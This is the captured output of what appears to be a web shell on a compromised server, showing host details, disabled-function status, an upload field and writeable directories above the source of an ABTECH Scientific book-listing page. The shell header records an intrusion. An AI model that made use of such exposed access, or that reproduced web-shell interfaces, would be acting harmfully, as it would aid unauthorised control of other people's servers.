KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/abtechsci/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/abtechsci/books.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
	<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=windows-1252">
	<TITLE>ABTECH Scientific, Inc., - Books</TITLE>
	<META NAME="GENERATOR" CONTENT="OpenOffice.org 1.0  (Win32)">
	<META NAME="CREATED" CONTENT="20040520;21184198">
	<META NAME="CHANGED" CONTENT="20040520;21194777">
	<META NAME="DESCRIPTION" CONTENT="Advanced Biosensor Technology - chemical and biological sensor devices, instruments, and systems.">
	<META NAME="KEYWORDS" CONTENT="bioelectronics, biosensors, immunosensors, enzyme sensors, sensors, biochip, biochips, cancer, brain tumor, diagnostics, DNA, chips, arrays, microarrays, mems, biomems, enzymes, antibodies, molecular electronics">
	<STYLE>
	<!--
		TD P { color: #000000; font-family: "Verdana"; font-size: 10pt; font-style: normal; font-weight: medium }
		P { color: #000000; font-family: "Verdana"; font-size: 10pt; font-style: normal; font-weight: medium }
		H3 { color: #000000; font-style: normal }
	-->
	</STYLE>
</HEAD>
<BODY LANG="en-US" TEXT="#000000" BGCOLOR="#ffffff">
<FORM ACTION="http://www.netfxx.com/bnbform.cgiENCTYPE=" METHOD="POST">
	<INPUT TYPE=HIDDEN NAME="recipient" VALUE="[email protected]">
	<INPUT TYPE=HIDDEN NAME="subject" VALUE=" A Lite Affair Order">
	<INPUT TYPE=HIDDEN NAME="exclude" VALUE="cardtype,cardnumber,expiremonth,expireyear,cardholder">
	<INPUT TYPE=HIDDEN NAME="required" VALUE="email,realname,phone">
	<INPUT TYPE=HIDDEN NAME="sort" VALUE="order:realname,company,address,city,state,zip,phone,fax,email,shiptoname,shiptostreet,shiptocity,shiptostate,shiptozip,cardtype,cardnumber,expiremonth,expireyear,cardholder,">
</FORM>
<P ALIGN=RIGHT>&nbsp;</P>
<CENTER>
	<TABLE WIDTH=88% BORDER=0 CELLPADDING=4 CELLSPACING=2>
		<TR>
			<TD COLSPAN=2 BGCOLOR="#000099">
				<P ALIGN=RIGHT><FONT COLOR="#ffffff"><FONT FACE="Verdana"><FONT SIZE=4><B>Books
				<I>&amp;</I> ARTICLES</B></FONT></FONT></FONT></P>
			</TD>
		</TR>
	</TABLE>
</CENTER>
<P ALIGN=CENTER><FONT SIZE=4><FONT COLOR="#af0000">Place your book
order with ABTECH and</FONT></FONT><BR><FONT SIZE=4><FONT COLOR="#af0000">get
a<B> 20% discount</B> off the publisher's retail price.</FONT></FONT></P>
<FORM ACTION="">
	<CENTER>
		<TABLE WIDTH=88% BORDER=0 CELLPADDING=4 CELLSPACING=2>
			<TR>
				<TD COLSPAN=2 BGCOLOR="#0000ff">
					<P><FONT COLOR="#ffffff"><FONT FACE="Arial"><FONT SIZE=2><B>Handbook
					of Conducting Polymers</B></FONT></FONT></FONT></P>
				</TD>
			</TR>
			<TR>
				<TD WIDTH=285>
					<P>&nbsp;<B><FONT FACE="Arial">Marcel Dekker</FONT></B></P>
					<P><A HREF="http://www.dekker.com/cgi-bin/webdbc/md/detail.htx?d_cat_id=0050-3"><IMG SRC="gifs/hb-CP.gif" NAME="Graphic1" ALIGN=LEFT WIDTH=84 HEIGHT=115 BORDER=0></A><FONT FACE="Verdana"><FONT SIZE=2><B>$195.00,
					1112 pp., illus.</B></FONT></FONT></P>
					<P><B><FONT COLOR="#af0000">Your price when ordered through
					ABTECH: $156.00 <INPUT TYPE=RADIO NAME="0050" VALUE="order"></FONT></B><FONT SIZE=1><FONT FACE="Arial"><FONT COLOR="#000000">Quantity</FONT></FONT></FONT><B><FONT COLOR="#af0000"><INPUT TYPE=TEXT NAME="quant1" VALUE="1" SIZE=3></FONT></B></P>
					<P><FONT FACE="Arial"><FONT SIZE=2>ISBN: 0-8247-0050-3 April
					1998</FONT></FONT></P>
					<P><FONT SIZE=2><FONT FACE="Arial"><B>Description:</B> Rewritten
					and updated to reflect the explosion of information since the
					publication of the 1st edition. Presents the latest advances in
					the field of electrically conducting polymers&amp;emdash;discussing
					theory and transport, synthesis, processing, properties, and
					applications.</FONT></FONT></P>
				</TD>
				<TD WIDTH=262>
					<P>&nbsp;<BR><B><FONT FACE="Arial">Second Edition, Revised and
					Expanded</FONT></B></P>
					<P><FONT FACE="Arial"><B>Skotheim, Terje A.</B>, <I>Moltech
					Corporation, Tucson, Arizona;</I> <B>Elsenbaumer, Ronald L</B>.,
					<I>University of Texas at Arlington </I>,and <B>Reynolds, John
					R.</B>, <I>University of Florida, Gainesville</I></FONT></P>
					<P><FONT FACE="Arial"><FONT SIZE=2>A Key Chapter (contributed by
					ABTECH scientists):<BR><B>Chapter 34<BR></B><I>Chemical and
					Biological Sensors Based on Electrically Conducting
					Polymers</I><BR>Anthony Guiseppi-Elie, Gordon G. Wallace, and
					Tomakazu Matsue</FONT></FONT></P>
				</TD>
			</TR>
			<TR>
				<TD COLSPAN=2 BGCOLOR="#0000ff">
					<P><FONT COLOR="#ffffff">&nbsp;<B><FONT SIZE=2><FONT FACE="Arial">Electrical
					and Optical Polymer Systems: Fundamentals, Methods, and
					Applications</FONT></FONT></B></FONT></P>
				</TD>
			</TR>
			<TR>
				<TD WIDTH=285>
					<P><FONT FACE="Arial"><B>Marcel Dekker</B></FONT></P>
					<P><A HREF="http://www.dekker.com/cgi-bin/webdbc/md/detail.htx?d_cat_id=0118-6"><IMG SRC="gifs/EOPSdeknocover.gif" NAME="Graphic2" ALIGN=LEFT WIDTH=75 HEIGHT=94 BORDER=0></A><FONT FACE="Verdana"><FONT SIZE=2><B>$225.00,
					976 pp., illus.</B></FONT></FONT></P>
					<P><B><FONT COLOR="#af0000">Your price when ordered through
					ABTECH: $180.00<INPUT TYPE=RADIO NAME="0118" VALUE="order"></FONT></B><FONT SIZE=1><FONT FACE="Arial"><FONT COLOR="#000000">Quantity</FONT></FONT></FONT><B><FONT COLOR="#af0000"><INPUT TYPE=TEXT NAME="quant1" VALUE="1" SIZE=3></FONT></B></P>
					<P><FONT FACE="Arial"><B>Series:</B> Plastics Engineering.
					Volume: 45</FONT></P>
					<P><FONT FACE="Arial"><FONT SIZE=2>ISBN: 0-8247-0118-6 April
					1998</FONT></FONT></P>
					<P><FONT FACE="Arial"><B>Description:</B> Covers background
					information on methods of characterization and addresses
					applications of electrical and optical polymers, including
					biopolymers. Provides tutorial sections that explain how to use
					characterization techniques.</FONT></P>
					<P>&nbsp;</P>
				</TD>
				<TD WIDTH=262>
					<P>&nbsp;</P>
					<P><FONT FACE="Arial"><B>Wise, Donald L.</B>, <I>Northeastern
					University, Boston, Massachusetts</I>; <B>Wnek, Gary E.</B>,
					<I>Virginia Commonwealth University, Richmond, Virginia</I> ;
					<B>Trantolo, Debra J.</B>, <I>Cambridge Scientific, Inc.,
					Belmont, Massachusetts</I>; <B>Cooper, Thomas M.</B>, <I>Wright
					Patterson Air Force Base, Ohio</I> and <B>Gresser, Joseph D.</B>,
					<I>Cambridge Scientific, Inc., Belmont, Massachusetts.</I></FONT></P>
					<P><FONT FACE="Arial"><B>Series:</B> Plastics Engineering.
					Volume: 45</FONT></P>
					<P><FONT FACE="Arial"><FONT SIZE=2>A Key Chapter (contributed by
					ABTECH scientists):<BR><B>Chapter 34<BR></B><I>Electrical
					Impedance Properties of Chemically Responsive Hydrogels</I><BR>Anthony
					Guiseppi-Elie, Matthew J. Lesho and Norman F. Sheppard, Jr.</FONT></FONT></P>
					<P>&nbsp;</P>
				</TD>
			</TR>
			<TR>
				<TD COLSPAN=2 BGCOLOR="#0000ff">
					<P>&nbsp;<B><FONT SIZE=2><FONT FACE="Arial"><FONT COLOR="#ffffff">Enzyme
					and Microbial Biosensors: Techniques and Protocols</FONT></FONT></FONT></B></P>
				</TD>
			</TR>
			<TR>
				<TD WIDTH=285>
					<H3><FONT FACE="Arial">Humana Press Inc.</FONT></H3>
					<P><A HREF="http://www.humanapress.com:80/dynaweb/humana/humbooks/@ebt-link%3Bnn%3D1?book=humbooks;root=IDMATCH(id,HUMB1453);window=current;stylesheet=fulltxt.rev"><IMG SRC="gifs/mulchandani.gif" NAME="Graphic3" ALIGN=LEFT WIDTH=105 HEIGHT=167 BORDER=0></A><FONT FACE="Verdana"><FONT SIZE=2><B>$69.50,
					284 pp., illus.</B></FONT></FONT></P>
					<P><FONT COLOR="#af0000"><FONT FACE="Verdana"><FONT SIZE=2><B>Your
					price when ordered through ABTECH: $ 55.60</B></FONT></FONT></FONT></P>
					<P><B><FONT COLOR="#af0000"><INPUT TYPE=RADIO NAME="410-0" VALUE="order"></FONT></B><FONT SIZE=1><FONT FACE="Arial"><FONT COLOR="#000000">Quantity</FONT></FONT></FONT><B><FONT COLOR="#af0000"><INPUT TYPE=TEXT NAME="quant1" VALUE="1" SIZE=3></FONT></B></P>
					<P><FONT FACE="Arial"><B>Series:</B> Methods in Biotechnology.
					Volume 6</FONT></P>
					<P><FONT FACE="Arial"><FONT SIZE=2>ISBN 0-89603-410-0 April,
					1998</FONT></FONT></P>
					<P><FONT SIZE=2><FONT FACE="Arial"><B>Description:</B> A
					cutting-edge collection of detailed, step-by-step techniques and
					protocols for constructing, evaluating, and using enzyme- and
					microbial-based biosensors. Ideal for novices starting research
					in their field or experienced researchers wanting to use a
					biosensor for a specific analytical measurement, the methods
					detailed here allow biochemists, analytical chemists,
					microbiologists, and engineers to successfully apply biosensor
					technology to their specific problems. The techniques include
					classical enzyme biosensors based on potentiometric,
					amperometric, conductimetric, optical, and thermal transducers,
					as well cell-based biosensors based on amperometric and optical
					transducers.</FONT></FONT></P>
				</TD>
				<TD WIDTH=262>
					<P>&nbsp;</P>
					<P><FONT FACE="Arial"><B>Mulchandani, Ashok</B>, <I>University
					of California, Riverside California</I> and <B>Rogers, Kim R.</B>,
					<I>US-EPA, Las Vegas, NV</I></FONT></P>
					<P><FONT FACE="Arial"><B>Series:</B> Methods in Biotechnology.
					Volume 6</FONT></P>
					<P><FONT FACE="Arial"><FONT SIZE=2>A key chapter (contributed by
					ABTECH scientists):<BR><B>Chapter 12<BR></B><I>Enzyme Sensors
					Based on Conductimetric Measurement</I><BR>Norman F. Sheppard,
					Jr. and Anthony Guiseppi-Elie</FONT></FONT></P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
				</TD>
			</TR>
			<TR>
				<TD COLSPAN=2 BGCOLOR="#0000ff">
					<P>&nbsp;<B><FONT SIZE=2><FONT FACE="Arial"><FONT COLOR="#ffffff">Affinity
					Biosensors: Techniques and Protocols</FONT></FONT></FONT></B></P>
				</TD>
			</TR>
			<TR>
				<TD WIDTH=285>
					<H3><FONT FACE="Arial">Humana Press Inc.</FONT></H3>
					<P><A HREF="http://www.humanapress.com:80/dynaweb/humana/humbooks/@ebt-link%3Bnn%3D1?book=humbooks;root=IDMATCH(id,HUMB1456);window=current;stylesheet=fulltxt.rev"><IMG SRC="gifs/rogers.gif" NAME="Graphic4" ALIGN=LEFT WIDTH=105 HEIGHT=167 BORDER=0></A><FONT FACE="Verdana"><FONT SIZE=2><B>$69.60,
					264 pp., ilus.</B></FONT></FONT></P>
					<P><FONT COLOR="#af0000"><FONT FACE="Verdana"><FONT SIZE=2><B>Your
					price when ordered through ABTECH: $ 55.60</B></FONT></FONT></FONT></P>
					<P><B><FONT COLOR="#af0000"><INPUT TYPE=RADIO NAME="539" VALUE="order"></FONT></B><FONT SIZE=1><FONT FACE="Arial"><FONT COLOR="#000000">Quantity</FONT></FONT></FONT><B><FONT COLOR="#af0000"><INPUT TYPE=TEXT NAME="quant1" VALUE="1" SIZE=3></FONT></B></P>
					<P><FONT FACE="Arial"><B>Series:</B> Methods in Biotechnology.
					Volume 7</FONT></P>
					<P><FONT FACE="Arial"><FONT SIZE=2>ISBN: 0-89603-539-5 April,
					1998</FONT></FONT></P>
					<P><FONT SIZE=2><FONT FACE="Arial"><B>Description:</B> A
					cutting-edge collection of detailed, step-by-step techniques and
					protocols for constructing, evaluating, and using affinity-based
					biosensors. Ideal for novices starting research in their field
					or experienced researchers wanting to use a biosensor for a
					specific analytical measurement, the methods detailed here allow
					biochemists, analytical chemists, microbiologists, and engineers
					to successfully apply biosensor technology to their specific
					problems. The techniques include the use of antibodies and
					membrane receptors to construct optical, thermal, acoustic, and
					electrochemically based biosensors. Additional techniques
					involve antibodies, receptors, nucleic acids, liposomes, and
					eukaryotic cells.</FONT></FONT></P>
				</TD>
				<TD WIDTH=262>
					<P>&nbsp;</P>
					<P><FONT FACE="Arial"><B>Rogers, Kim R.</B>, <I>US-EPA, Las
					Vegas, NV </I>and<I> </I><B>Mulchandani, Ashok</B>, <I>University
					of California, Riverside California</I>;</FONT></P>
					<P><FONT FACE="Arial"><B>Series:</B> Methods in Biotechnology.
					Volume 7</FONT></P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
					<P>&nbsp;</P>
				</TD>
			</TR>
		</TABLE>
	</CENTER>
</FORM>
<CENTER>
	<TABLE WIDTH=90% BORDER=0 CELLPADDING=5 CELLSPACING=2>
		<TR>
			<TD>
				<P ALIGN=CENTER><FONT SIZE=1><FONT FACE="Verdana, Arial"><FONT COLOR="#0000ff"><A HREF="news.html">News
				and Noteworthy</A> || <A HREF="companyprofile.html">Company
				Profile</A> || <A HREF="rdcapabilities.html">R &amp; D
				Capabilities</A> || <A HREF="labproducts.html">Lab Products</A>
				|| <A HREF="advancedproducts.html">Advanced Products</A> ||
				<A HREF="directory.html">Company Directory</A> || <A HREF="people.html">Personnel
				Bio's</A> || <A HREF="employop.html">Career Opportunities</A> ||
				<A HREF="pressre.html">Press Releases</A> || <A HREF="invstrel.html">Investor
				Relations</A> || <A HREF="links.html">Related Links</A> ||
				<A HREF="files.html">Download Files</A> || <A HREF="pricelist.html">Price
				Lists</A></FONT></FONT></FONT></P>
			</TD>
		</TR>
	</TABLE>
</CENTER>
<P><BR><BR>
</P>
</BODY>
</HTML>

Anon7 - 2021